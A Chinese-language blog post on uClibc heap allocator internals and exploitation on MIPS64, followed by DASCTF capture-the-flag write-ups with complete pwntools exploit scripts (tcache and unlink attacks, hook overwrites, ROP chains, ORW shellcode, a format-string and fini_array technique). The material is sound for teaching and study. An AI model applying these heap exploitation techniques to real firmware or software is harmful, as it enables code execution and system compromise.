0x00 Before

审计固件的时候碰到了一个mips64下uClibc堆管理利用的问题,恰巧网络上关于这个的分析不是很多,于是研究了一下。并不是很全面,做个索引,若有进一步了解时继续补全。

0x01 何为uClibc?

面向百度百科的废话

uClibc 是一个面向嵌入式Linux系统的小型的C标准库。最初uClibc是为了支持uClinux而开发,这是一个不需要内存管理单元的Linux版本,因此适合于微控制器系统。

uClibc比一般用于Linux发行版的C库GNU C Library (glibc)要小得多,glibc目标是要支持最大范围的硬件和内核平台的所有C标准,而uClibc专注于嵌入式Linux.很多功能可以根据空间需求进行取舍。

uClibc运行于标准的以及无MMU的Linux系统上,支持i386,x86 64,ARM (big/little endian), AVR32,Blackfin,h8300,m68k,MIPS (big/little endian), PowerPC,SuperH (big/little endian), SPARC,和v850等处理器。

人话

对于某些架构的嵌入式硬件,需要一个低开销的C标准库实现,于是uClibc就出现了。但是由于其实现方式与glibc差别较大,所以利用思路上需要一些转变。好在uClibc没有傻大笨glibc的各种检查,利用思路较为简单明确。

0x02 内存管理器

关于uClibc利用分析首当其冲的就是mallocfree等内存管理函数的实现。事实上通过观察其源码可以发现,uClibc中malloc有三种实现,包括malloc, malloc-simplemalloc-standard。其中 malloc-standard 是最近更新的。它就是把早期 glibcdlmalloc 移植到了 uClibc中。本文关于利用的分析重点在malloc

malloc-simple

在这个版本的内存管理逻辑中,内存的分配和释放几乎就一一对应了mmapmunmap...

malloc()

[libc/stdlib/malloc-simple/alloc.c]

#ifdef L_malloc
void *malloc(size_t size)
{
    void *result;

    if (unlikely(size == 0)) {
#if defined(__MALLOC_GLIBC_COMPAT__)
        size++;
#else
        /* Some programs will call malloc (0).  Lets be strict and return NULL */
        __set_errno(ENOMEM);
        return NULL;
#endif
    }

#ifdef __ARCH_USE_MMU__
# define MMAP_FLAGS MAP_PRIVATE | MAP_ANONYMOUS
#else
# define MMAP_FLAGS MAP_SHARED | MAP_ANONYMOUS | MAP_UNINITIALIZED
#endif

    result = mmap((void *) 0, size + sizeof(size_t), PROT_READ | PROT_WRITE,
                  MMAP_FLAGS, 0, 0);
    if (result == MAP_FAILED) {
        __set_errno(ENOMEM);
        return 0;
    }
    * (size_t *) result = size;
    return(result + sizeof(size_t));
}
#endif

可以发现size没有做过多检查和处理就进了mmap的参数,而返回的地址则由mmap决定,并不存在一个特定的heap

free()

[libc/stdlib/malloc-simple/alloc.c]

#ifdef L_free
void free(void *ptr)
{
    if (unlikely(ptr == NULL))
        return;
    if (unlikely(__libc_free_aligned != NULL)) {
        if (__libc_free_aligned(ptr))
            return;
    }
    ptr -= sizeof(size_t);
    munmap(ptr, * (size_t *) ptr + sizeof(size_t));
}
#endif

直接调用了munmap

malloc-standard

我分析的固件使用的是这个机制

location: libc/stdlib/malloc-standard/*

相对而言malloc-standard较为复杂,具体逻辑可以直接参考dlmalloc

malloc

这个版本我愿称之为“无敌大套娃”

malloc()

使用malloc函数时发生了如下调用链

void *malloc (size_t size) [libc/stdlib/malloc/malloc.c]

mem = malloc_from_heap (size, &__malloc_heap, &__malloc_heap_lock);

__malloc_from_heap (size_t size, struct heap_free_area **heap) [libc/stdlib/malloc/malloc.c]

尝试使用__heap_alloc获取堆区中管理的已释放的内存:

 /* First try to get memory that's already in our heap.  */
  mem = __heap_alloc (heap, &size);

__heap_alloc (struct heap_free_area **heap, size_t *size) [libc/stdlib/malloc/heap_alloc.c]

/* Allocate and return a block at least *SIZE bytes long from HEAP.
   *SIZE is adjusted to reflect the actual amount allocated (which may be
   greater than requested).  */
void *
__heap_alloc (struct heap_free_area **heap, size_t *size)
{
  struct heap_free_area *fa;
  size_t _size = *size;
  void *mem = 0;

  _size = HEAP_ADJUST_SIZE (_size);

  if (_size < sizeof (struct heap_free_area))
    /* Because we sometimes must use a freed block to hold a free-area node,
       we must make sure that every allocated block can hold one.  */
    _size = HEAP_ADJUST_SIZE (sizeof (struct heap_free_area));

  HEAP_DEBUG (*heap, "before __heap_alloc");

  /* Look for a free area that can contain _SIZE bytes.  */
  for (fa = *heap; fa; fa = fa->next)
    if (fa->size >= _size)
      {
    /* Found one!  */
    mem = HEAP_FREE_AREA_START (fa);
    *size = __heap_free_area_alloc (heap, fa, _size);
    break;
      }

  HEAP_DEBUG (*heap, "after __heap_alloc");

  return mem;
}

如果请求的size小于下面结构体的大小会被自动扩大(原因见注释):

/* A free-list area `header'.  These are actually stored at the _ends_ of
   free areas (to make allocating from the beginning of the area simpler),
   so one might call it a `footer'.  */
struct heap_free_area
{
    size_t size;
    struct heap_free_area *next, *prev;
};
注意这个结构体在被free的块的底部,这很重要

然后就是在一条链表(就是一开始传入的&__malloc_heap)上遍历查找第一个size大于等于请求size的节点进入一个内联函数__heap_free_area_alloc [libc/stdlib/malloc/heap.h]:

static __inline__ size_t
__heap_free_area_alloc (struct heap_free_area **heap,
            struct heap_free_area *fa, size_t size)
{
  size_t fa_size = fa->size;

  if (fa_size < size + HEAP_MIN_FREE_AREA_SIZE)
    /* There's not enough room left over in FA after allocating the block, so
       just use the whole thing, removing it from the list of free areas.  */
    {
      __heap_delete (heap, fa);
      /* Remember that we've alloced the whole area.  */
      size = fa_size;
    }
  else
    /* Reduce size of FA to account for this allocation.  */
    fa->size = fa_size - size;

  return size;
}

该函数判断分配掉目标大小的size之后,剩余体积是否足够HEAP_MIN_FREE_AREA_SIZE,不够的话就整个从链表中取出(使用的双链表unlink),否则只取出对应大小的部分内存(切割)。

如果你有疑问:为啥在切割是不涉及链表操作?

那么请往上看:struct heap_free_area这个区域在freed区域的底部,只需要修改其中的size,然后把需要的mem取出,就完成了一次切割,节省了很多链表操作,提高了效率。

...

回到__malloc_from_heap,假如没有足够大小的freed区域用于取出,则会用mmap或者sbrk的方式向操作系统取得一块新的内存,具体使用mmap还是sbrk取决于编译时使用的宏:

#ifdef MALLOC_USE_SBRK
//如果用sbrk
      __malloc_lock_sbrk ();

      /* Use sbrk we can, as it's faster than mmap, and guarantees
     contiguous allocation.  */
      block = sbrk (block_size);
      if (likely (block != (void *)-1))
    {
      /* Because sbrk can return results of arbitrary
         alignment, align the result to a MALLOC_ALIGNMENT boundary.  */
      long aligned_block = MALLOC_ROUND_UP ((long)block, MALLOC_ALIGNMENT);
      if (block != (void *)aligned_block)
        /* Have to adjust.  We should only have to actually do this
           the first time (after which we will have aligned the brk
           correctly).  */
        {
          /* Move the brk to reflect the alignment; our next allocation
         should start on exactly the right alignment.  */
          sbrk (aligned_block - (long)block);
          block = (void *)aligned_block;
        }
    }

      __malloc_unlock_sbrk ();

#else /* !MALLOC_USE_SBRK */

      /* Otherwise, use mmap.  */
#ifdef __ARCH_USE_MMU__
      block = mmap ((void *)0, block_size, PROT_READ | PROT_WRITE,
            MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
#else
      block = mmap ((void *)0, block_size, PROT_READ | PROT_WRITE,
            MAP_SHARED | MAP_ANONYMOUS | MAP_UNINITIALIZED, 0, 0);
#endif

注意mem在返回到用户前会经过下列宏处理,以设置malloc_header,并让mem指向用户区域:

/* Set up the malloc header, and return the user address of a malloc block. */
#define MALLOC_SETUP(base, size)  \
  (MALLOC_SET_SIZE (base, size), (void *)((char *)base + MALLOC_HEADER_SIZE))

free

有了malloc的逻辑,free的逻辑也差不多明晰了

void free (void *mem) [libc/stdlib/malloc/free.c]

static void __free_to_heap (void *mem, struct heap_free_area **heap) [libc/stdlib/malloc/free.c]

首先调用__heap_free把被free的内存放入链中:

  /* Put MEM back in the heap, and get the free-area it was placed in.  */
  fa = __heap_free (heap, mem, size);

struct heap_free_area *__heap_free (struct heap_free_area **heap, void *mem, size_t size) [libc/stdlib/malloc/hewp_free.c]

/* Return the block of memory at MEM, of size SIZE, to HEAP.  */
struct heap_free_area *
__heap_free (struct heap_free_area **heap, void *mem, size_t size)
{
  struct heap_free_area *fa, *prev_fa;
    /* 此时的mem经过MALLOC_BASE宏处理,指向MALLOC_HADER */
  void *end = (char *)mem + size;

  HEAP_DEBUG (*heap, "before __heap_free");

  /* Find the right position in the free-list entry to place the new block.
     This is the most speed critical loop in this malloc implementation:
     since we use a simple linked-list for the free-list, and we keep it in
     address-sorted order, it can become very expensive to insert something
     in the free-list when it becomes fragmented and long.  [A better
     implemention would use a balanced tree or something for the free-list,
     though that bloats the code-size and complexity quite a bit.]  */

  /* 空闲区域链表是按照地址从小到大排列的,这个循环是为了找到 mem 应该插入的位置 */
  for (prev_fa = 0, fa = *heap; fa; prev_fa = fa, fa = fa->next)
      /* 遍历判断fa的尾部是否大于被free的内存的头部 */
    if (unlikely (HEAP_FREE_AREA_END (fa) >= mem))
      break;

    /* 判断fa的头部是否小于等于被free内存的尾部(这里包含了部分overlap的情况?) */
  if (fa && HEAP_FREE_AREA_START (fa) <= end)
    /* The free-area FA is adjacent to the new block, merge them.  */
    {
      size_t fa_size = fa->size + size;
    /* 出现首尾相接 */
      if (HEAP_FREE_AREA_START (fa) == end)
    /* FA is just after the new block, grow down to encompass it. */
    {
      /* See if FA can now be merged with its predecessor. */
      /* 判断free的内存是否刚好卡在prev_fa和fa之间,是则将三个块合并,作为一个新节点 */
      if (prev_fa && mem == HEAP_FREE_AREA_END (prev_fa))
        /* Yup; merge PREV_FA's info into FA.  */
        {
          fa_size += prev_fa->size;
          __heap_link_free_area_after (heap, fa, prev_fa->prev);
        }
    }
      else
          /* 个人感觉这部分实现有些逻辑错误,正在招专业人员求证,有结果了细化一下 */
    /* FA is just before the new block, expand to encompass it. */
    {
      struct heap_free_area *next_fa = fa->next;

      /* See if FA can now be merged with its successor. */

      if (next_fa && end == HEAP_FREE_AREA_START (next_fa))
        /* Yup; merge FA's info into NEXT_FA.  */
        {
          fa_size += next_fa->size;
          __heap_link_free_area_after (heap, next_fa, prev_fa);
          fa = next_fa;
        }
      else
        /* FA can't be merged; move the descriptor for it to the tail-end
           of the memory block.  */
        {
          /* The new descriptor is at the end of the extended block,
         SIZE bytes later than the old descriptor.  */
          fa = (struct heap_free_area *)((char *)fa + size);
          /* Update links with the neighbors in the list.  */
          __heap_link_free_area (heap, fa, prev_fa, next_fa);
        }
    }
        /* 设置新节点的size */
      fa->size = fa_size;
    }
  else
    /* Make the new block into a separate free-list entry.  */
    /* 如果fa和 mem之间有空隙或者 mem> HEAP_FREE_AREA_END (fa),那么可以简单地把 mem 插入 prev_fa 和 fa之间 */
    fa = __heap_add_free_area (heap, mem, size, prev_fa, fa);

  HEAP_DEBUG (*heap, "after __heap_free");

  return fa;
}
看注释

这段代码主要处理被释放内存在入链时的合并和插入

0x03 利用思路

前置知识

uClibc中没有类似Glibc那样的__free_hook__malloc_hook的机制,但是部分函数间调用使用了类似got表的机制,这里可以看反汇编后的结果:

关于这块这么设计的原因我不太清楚...

既然如此,那么如果能通过任意地址写改libuClibc.so中某些函数的got的地址也许就可以借助system("/bin/sh\x00")来getshell。

不过要与程序本身的got表区分,如果程序已经导入了某些函数符号,直接修改掉so中这些函数符号的got是不能影响程序本身调用的目标的。(重要)

.got:00000000000A8510  # Segment type: Pure data
.got:00000000000A8510                 .data # .got
.got:00000000000A8510 off_A8510:      .dword ___libc_stack_end
.got:00000000000A8510                                          # DATA XREF: _setjmp+4↑o
.got:00000000000A8510                                          # setjmp+4↑o ...
.got:00000000000A8518                 .dword 0x8000000000000000
.got:00000000000A8520 off_A8520:      .dword qword_AA1B0       # DATA XREF: brk+24↑r
.got:00000000000A8528 off_A8528:      .dword sub_5C5C0         # DATA XREF: __sigsetjmp_aux+3C↑r
.got:00000000000A8530                 .dword sub_64730
.got:00000000000A8538                 .dword sub_647F8
.got:00000000000A8540 memcpy_ptr:     .dword memcpy
.got:00000000000A8548 off_A8548:      .dword loc_20000         # DATA XREF: vwarn+C↑r
.got:00000000000A8548                                          # vwarnx+C↑r
.got:00000000000A8550 exit_ptr:       .dword exit
.got:00000000000A8558 open_ptr:       .dword open              # DATA XREF: creat+C↑r
...

malloc-simple

很明显,释放内存的munmap是一个很好的攻击目标,它的第一个参数正好是一个字符串指针,并且可控程度很高,如果能劫持其got表就可以爽歪歪了。

malloc

大部分操作都是一个基本没啥保护的双链表的操作,而且负责管理链表的heap_free_area在每个内存块的末尾。意味着如果有UAF的和堆溢出情况下可以修改free_size,然后取出被修改的节点造成向低地址的overlap。

在取出内存的过程中存在分割操作,如果可以找到目标区域附近某些值作为free_size(最好特别大),然后修改链表的某个next指针到这。当申请内存合适的时候可以拿到目标区域的内存。注意这种利用方式不能触发__heap_delete,否则容易出错。

malloc-standard

由于这种分配器只有fastbinunsortedbin两种结构,并且检查很稀松,所以大部分ptmalloc的知识可以迁移过来。并且伪造fastbin并取出时不检查目标区域的size...这简直给了和tcache一样的大方便。

刨除这部分,重点讲下怎么getshell(因为没有各种hook)...

源码宏太多,这里直接看反编译:

void free(void *__ptr)

{
  longlong *plVar1;
  uint uVar2;
  ulonglong uVar3;
  ulonglong uVar4;
  longlong lVar5;
  ulonglong chunk_true_size;
  longlong total_size;
  longlong chunk_header_ptr;
  ulonglong chunk_size;
  longlong lVar6;
  undefined auStack64 [32];
  undefined1 *local_10;

  if (__ptr == (void *)0x0) {
    return;
  }
  local_10 = &_gp_1;
  _pthread_cleanup_push_defer(auStack64,pthread_mutex_unlock,&DAT_001a82e0);
  pthread_mutex_lock((pthread_mutex_t *)&DAT_001a82e0);
  chunk_size = *(ulonglong *)((longlong)__ptr + -8);
  chunk_true_size = chunk_size & 0xfffffffffffffffc;
  chunk_header_ptr = (longlong)__ptr + -0x10;
  if (DAT_001c2cd8 < chunk_true_size) {
    uVar4 = DAT_001c2cd8 | 1;
    if ((chunk_size & 2) != 0) {
      DAT_001c3370 = DAT_001c3370 + -1;
      total_size = chunk_true_size + *(longlong *)((longlong)__ptr + -0x10);
      _DAT_001c3388 = _DAT_001c3388 - total_size;
      /* 注意这里 */
      munmap((void *)(chunk_header_ptr - *(longlong *)((longlong)__ptr + -0x10)),(size_t)total_size)
      ;
      goto LAB_0015d85c;
......

当chunk-sized大于一个阈值(不同版本可能不同,我这里是0x50)并且is_mmap标志位为1时,会把chunk_header_ptr-prev_size的地址送入munmap中。

假设我们有办法覆盖munmap的got表为system,那么如果控制参数为"/bin/sh\x00"?

这是我的一种思路:

  1. 控制prev_size0xfffffffffffffff0 (-10)
  2. 控制size为0x63(大于阈值且is_mmap位和inuse位为1)
  3. 在用户区域开头写入"/bin/sh\x00"

这样当进入munmap时就相当于执行了system("/bin/sh\x00")

参考链接:

https://blog.csdn.net/heliangbin87/article/details/78962425

https://blog.csdn.net/weixin_30596165/article/details/96114098

before

周末打了一下DASCTF,基本都是菜单题的堆利用,除了有一题打safe-linking比较新,其它都比较常规。

特别吐槽一下服务器...老是断

fruitpie

拿一个大堆块可以得到一个新段,其地址和glibc映射到内存中的起始地址是个固定偏移,onegadget一把梭

from pwn import *

#p = process("./fruitpie", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com", 50102)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

# big chunk offset: 0x100000ff0

def exp():
    #gdb.attach(p, "b *$rebase(0xceb)\nc\n")
    p.recvuntil(b"Enter the size to malloc:\n")
    p.sendline(b"-1")
    mem_ptr = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_base = mem_ptr + 0x100000ff0
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    realloc_hook = malloc_hook - 0x8
    realloc = libc_base + libc.symbols[b"realloc"]
    one_gadget = libc_base + 0x4f3c2
    print("mem_ptr:", hex(mem_ptr))
    print("malloc_hook:", hex(malloc_hook))
    p.recvuntil(b"Offset:\n")
    p.sendline(hex(realloc_hook-mem_ptr))
    p.recvuntil(b"Data:\n")
    p.send(p64(one_gadget) + p64(realloc+6))

    #gdb.attach(p)

    p.interactive()

if __name__ == "__main__":
    exp()

ParentSimulator

嫌麻烦就不用setcontext了,直接泄露environ在栈上构造orw ropchain

from pwn import *
import time
import os

#p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("pwn.machine.dasctf.com", 51503)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new_child(idx:int, sex:int, name):
    menu(1)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"2.Girl:\n")
    p.sendline(str(sex).encode())
    p.recvuntil(b"Please input your child's name:\n")
    p.send(name)

def change_name(idx:int, name):
    menu(2)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())    
    p.recvuntil(b"Please input your child's new name:\n")
    p.send(name)

def show_name(idx:int):
    menu(3)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())   

def remove(idx:int):
    menu(4)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())   

def edit(idx:int ,desc):
    menu(5)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode()) 
    p.recvuntil(b"Please input your child's description:\n")
    p.send(desc)

def secret(idx:int, sex:int):
    menu(666)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode()) 
    p.recvuntil(b"2.Girl:\n")
    p.sendline(str(sex).encode())

def exp():
    # leak libc
    ## fill tcache
    #gdb.attach(p, "b *$rebase(0x1cbd)\nc\n")
    for i in range(7):
        new_child(i, 1, b"tcache")
    new_child(7, 1, b"AAAA")
    new_child(8, 1, b"BBBB")
    for i in range(7):
        remove(i)
    ## overlapp chunk
    remove(7)
    for i in range(7):
        new_child(i, 1, b"reget")
    new_child(9, 1, b"CCCC")
    for i in range(7):
        remove(i)
    remove(7)
    ## leak
    show_name(9)
    p.recvuntil(b"Name: ")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    free_hook = libc_base + libc.symbols["__free_hook"]
    malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    environ = libc_base + libc.symbols["__environ"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("malloc_hook:", hex(malloc_hook))

    # leak heap
    for i in range(7):
        new_child(i, 1, b"reget") # clean tcache bin
    new_child(0, 1, b"DDDD")
    remove(0)
    new_child(1, 1, b"DDDD")
    remove(0)
    show_name(1)
    p.recvuntil(b"Gender: ")
    heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x10
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    new_child(0, 1, b"clean") # clean tcache bin

    # tcache attack
    new_child(0, 1, b"EEEE")
    remove(8) # add tcache count
    remove(0)
    new_child(1, 1, b"EEEE")
    remove(0)
    secret(0, 2)
    change_name(1, p64(heap_base+0x10)[0:7])

    new_child(2, 1, b"XXXX") 
    new_child(2, 1, b"FFFF") #get heap_struct
    heap_struct = p64(0) + p64(0x70000000000000)
    heap_struct = heap_struct.ljust(0xe0, b"\x00")
    heap_struct += p64(0) + p64(environ-0x10)[0:7]
    edit(2, heap_struct)
    # fastbin attach

    # leak_environ
    new_child(0, 1, b"XXXX")
    show_name(0)
    p.recvuntil(b"Description:")
    stack_leak = u64(p.recv(6).ljust(8, b"\x00"))
    main_ret = stack_leak - 0x100
    print("stack_leak:", hex(stack_leak))
    print("main_ret:", hex(main_ret))

    # attack ret addr
    heap_struct = p64(0) + p64(0x70000000000000)
    heap_struct = heap_struct.ljust(0xe0, b"\x00")
    heap_struct += p64(0) + p64(main_ret-0x10)[0:7]
    edit(2, heap_struct)

    # build rop
    new_child(0, 1, b"XXXX")
    pop_rdi_ret = libc_base + 0x26b72
    pop_rsi_ret = libc_base + 0x27529
    pop_rdx_r12_ret = libc_base + 0x11c1e1

    rop = p64(pop_rdi_ret) + p64(0)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x10) + p64(0)
    rop += p64(libc_base+libc.symbols["read"])
    rop += p64(pop_rdi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(libc_base+libc.symbols["open"])
    rop += p64(pop_rdi_ret) + p64(4)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
    rop += p64(libc_base+libc.symbols["read"])
    rop += p64(pop_rdi_ret) + p64(1)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
    rop += p64(libc_base+libc.symbols["write"])
    print("len(rop):", hex(len(rop)))
    edit(0, rop)

    # exit and rop
    menu(6)
    time.sleep(1)
    p.send(b"/flag\x00")

    p.interactive()

if __name__ == "__main__":
    exp()

clown

这题比较有意思,用了safe-linking机制,不过网上已经有很多文章介绍了,不再赘叙。主要是泄露tcache bin上一个正常fd为0的(尾部)chunk的fd指针,就可以得到pos>>12,结合其它堆块fd的值算出heap base。由于地址可能存在0截断,所以exp里面分成两部分leak后合并。最后老套路setcontext执行mprotect然后跳到shellcode。

from pwn import *

p = process(["./ld-2.32.so", "./clown"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./clown")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

# orw shellcode
shellcode = asm('''
sub rsp, 0x800;
push 0x67616c66;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall;

mov edi, eax;
mov rsi, rsp;
mov edx, 0x100;
xor eax, eax;
syscall;

mov edx, eax;
mov rsi, rsp;
mov edi, 1;
mov eax, edi;
syscall;
''')

def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new(size:int, content):
    menu(1)
    p.recvuntil(b"Size: \n")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content: \n")
    p.send(content)

def delete(idx):
    menu(2)
    p.recvuntil(b"Index: \n")
    p.sendline(str(idx).encode())

def show(idx):
    menu(3)
    p.recvuntil(b"Index: \n")
    p.sendline(str(idx).encode())    

def exp():
    # leak heap
    new(0x10, b"AAAA") #0
    new(0x10, b"AAAA") #1
    delete(1)
    delete(0)
    show(1)
    tmp = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    show(0)
    low_b = p.recvuntil(b"\n", drop=True)
    new(0x10, b"AAA") #2
    show(2)
    p.recvuntil(b"AAA")
    high_b = p.recvuntil(b"\n", drop=True)
    ptr = u64((low_b + b"\x00" + high_b).ljust(8, b"\x00"))
    heap_leak = ptr^tmp
    heap_base = heap_leak - 0x2c0
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # leak libc
    for i in range(7):
        new(0x100, b"tcache") #3-9
    new(0x100, b"unsorted") #10 *
    new(0x20, b"split") #11
    for i in range(7):
        delete(i+3)
    delete(10)
    show(10)
    new(0x20, b"A") #12*
    show(12)
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-u8(b"A")
    libc_base = libc_leak - 352 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    setcontext = libc_base + libc.symbols[b"setcontext"]
    mprotect = libc_base + libc.symbols[b"mprotect"]
    before_setcontext_gadget = libc_base + 0x124990
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # attack __free_hook
    # ropper --file ./libc-2.31.so --search "mov rdx" | grep rdi
    # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    new(0xd0, b"BBBB") #13 clean unsorted bin
    for i in range(7):
        new(0x80, b"tcache") #14-20
    new(0x80, b"unsorted2") #21
    new(0x80, b"unsorted3") #22
    new(0x20, b"split") #23
    for i in range(7):
        delete(i+14)
    delete(21)
    delete(22) #overlapping
    new(0x80, b"CCCC") #24
    new(0xb0, b"PART1") #25 *overlapping
    new(0x50, p64(0)) #26

    delete(22)
    delete(25)
    new(0xb0, b"A"*0x80+p64(0)+p64(0x90)+p64(((heap_base+0x1010)>>12)^free_hook)) #27 build fake chain

    new(0x80, b"tmp") #28
    new(0x80, p64(before_setcontext_gadget)) #29 rewrite free hook
    print("free_hook:", hex(free_hook))

    # gadget->setcontext->orw
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x2000
    frame.rdx = 7
    frame.rsp = heap_base+0x10d0
    _ = list(frame.values())
    _[4] = setcontext+53 # qword [rdx+0x20]
    _[1] = heap_base+0x11d0 # qword [rdi+8]
    #print(len(flat(_)))
    new(0xf8, p64(heap_base+0x10d0+8)+shellcode) #30 shellcode +0x10d0
    new(0xf8, flat(_)) #31 fake frame +0x11d0

    gdb.attach(p, "b *0x7ffff7d2b990\nc\n")
    #gdb.attach(p)

    delete(31)
    p.interactive()

if __name__ == "__main__":
    exp()

babybabybabyheap

常规unlink

from pwn import *

p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"

def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def add(idx:int, size:int, content=b"", exit:bool=False):
    menu(1)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")
    p.sendafter(b"size?\n", str(size).encode()+b"\n")
    if not exit:
        p.sendafter(b"content?\n", content)

def show(idx:int):
    menu(2)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")

def delete(idx:int):
    menu(3)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")

def exit(yon:str='y'):
    menu(4)
    p.sendafter(b"Sure to exit?(y/n)\n", yon)

def secret(idx:int, content):
    exit('n')
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")
    p.sendafter(b"content?\n", content)

def exp():
    p.recvuntil(b"gift: ")
    puts = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_base = puts - libc.symbols[b"puts"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("puts:", hex(puts))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("free_hook:", hex(free_hook))

    for i in range(7):
        add(i, 0x1f0, b"tcache")
    add(7, 0x108, p64(0) + p64(0x191) + p64(0x404178-0x18) + p64(0x404178-0x10))
    add(8, 0x88, b"AAAAA")
    add(9, 0x1f0, b"AAAAA")
    add(10, 0x108, b"split")
    for i in range(7):
        delete(i)
    add(0, 0x80, b"AAAA")# add tcache count
    delete(0)

    secret(8, b"A"*0x80 + p64(0x190))

    delete(9)

    # overlapping

    delete(8)

    add(11, 0x180, b"B"*0xf0 + p64(0) + p64(0x91) + p64(free_hook))

    # get free hook
    add(12, 0x80, b"AAAA")
    add(13, 0x80, p64(system))
    print("free_hook:", hex(free_hook))

    add(14, 0x90, b"/bin/sh\x00")
    delete(14)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

分析

题目主要逻辑非常短:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-90h]
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init_proc();                                  // set no buf
  memset(&s, 0, 0x80uLL);                       // 0x80栈上缓冲区
  printf("Input :", 0LL);
  close(1);                                     // 关闭输出流
                                                // 需要想办法打开或绕过
  read(0, &s, 0x80uLL);
  printf(&s, &s);                               // 裸的格式化串
  exit(0);                                      // 直接exit0,考虑利用fini_array
}

在read之前调用了close(1)来关闭stdout流,然后有一个裸的格式化字符串漏洞。由于stderr没有关闭,可以通过半个字节的爆破将bss段上stdout指针指向和stderr同一个文件结构体,此时再调用printf函数时,就可以将内容从stderr流输出来。

在调试过程中发现fini_array内存不可写,不能通过直接写指针来让执行流形成loop。这里是本题最关键的难点。通过查阅资料后发现,在最后exit(0)的执行过程中会出现如下图的一处指令,来调用fini_array[0]处保存的指针:

其中r12&fini_array[0]的值,而rdx固定为0,于是往前找可以找到如下控制r12的指令:

r12初始值为&fini_array[0],然后加上[rbx]的值。而rbx中保存的地址,正是第一次调用printf前,栈上第42个参数的值。于是想到,在格式化字符串利用时写&fini_array[0]与一个可写可控地址(如.bss_start)之间的偏移量到该指针指向的内存。只要提前将要返回的起始地址写到.bss_start上,那么最后在exit时就可以构造出call *.bss_start这样的跳转。

修改完stdout并返回read片段后的主要任务就是泄露glibc和栈地址。但是由于栈发生了变动,泄露完后不能直接再次返回。很碰巧的是在第二次printf前,栈上第23个变量正好是储存第二次调用printf时保存函数返回地址的栈地址的指针。于是省去了部分写的麻烦,直接写该地址,这样当printf执行完后就会直接回到read片段,且栈不会发生大的变化。(这是第二个容易卡住的点

最后一步很明显是借助上面的方法去getshell,但是不知道为何,直接写printf返回地址为one_gadget地址时无法成功getshell。于是我想在写返回地址的基础上在payload后面布置一段执行system("/bin/sh");的rop链。然后把返回地址写为add rsp, 0x80; ret;这样的gadget,从而在printf返回时跳过payload,执行提前布置的rop链来getshell。

需要注意的是,最后一次写返回地址需要写长达6个字节,于是我拆分成了3次,每次写2字节。为了保证从小到大地写入三个地址片段(格式化字符串基本概念),我在分出每个片段后做了一次排序。

虽然说修改了stdout指针,但是getshell之后直接cat文件会提示文件描述符错误,需要在指令中重定向一下:cat /home/printable/printable_fl4g 1>&2;。符号>左边为文件描述符,右边如果直接使用2会被认为是重定向到一个名为2的文件,所以需要用&修饰,表示这是一个文件描述符。

思路

  1. 改写stdout,改写fini_array偏移到bss_start位置;

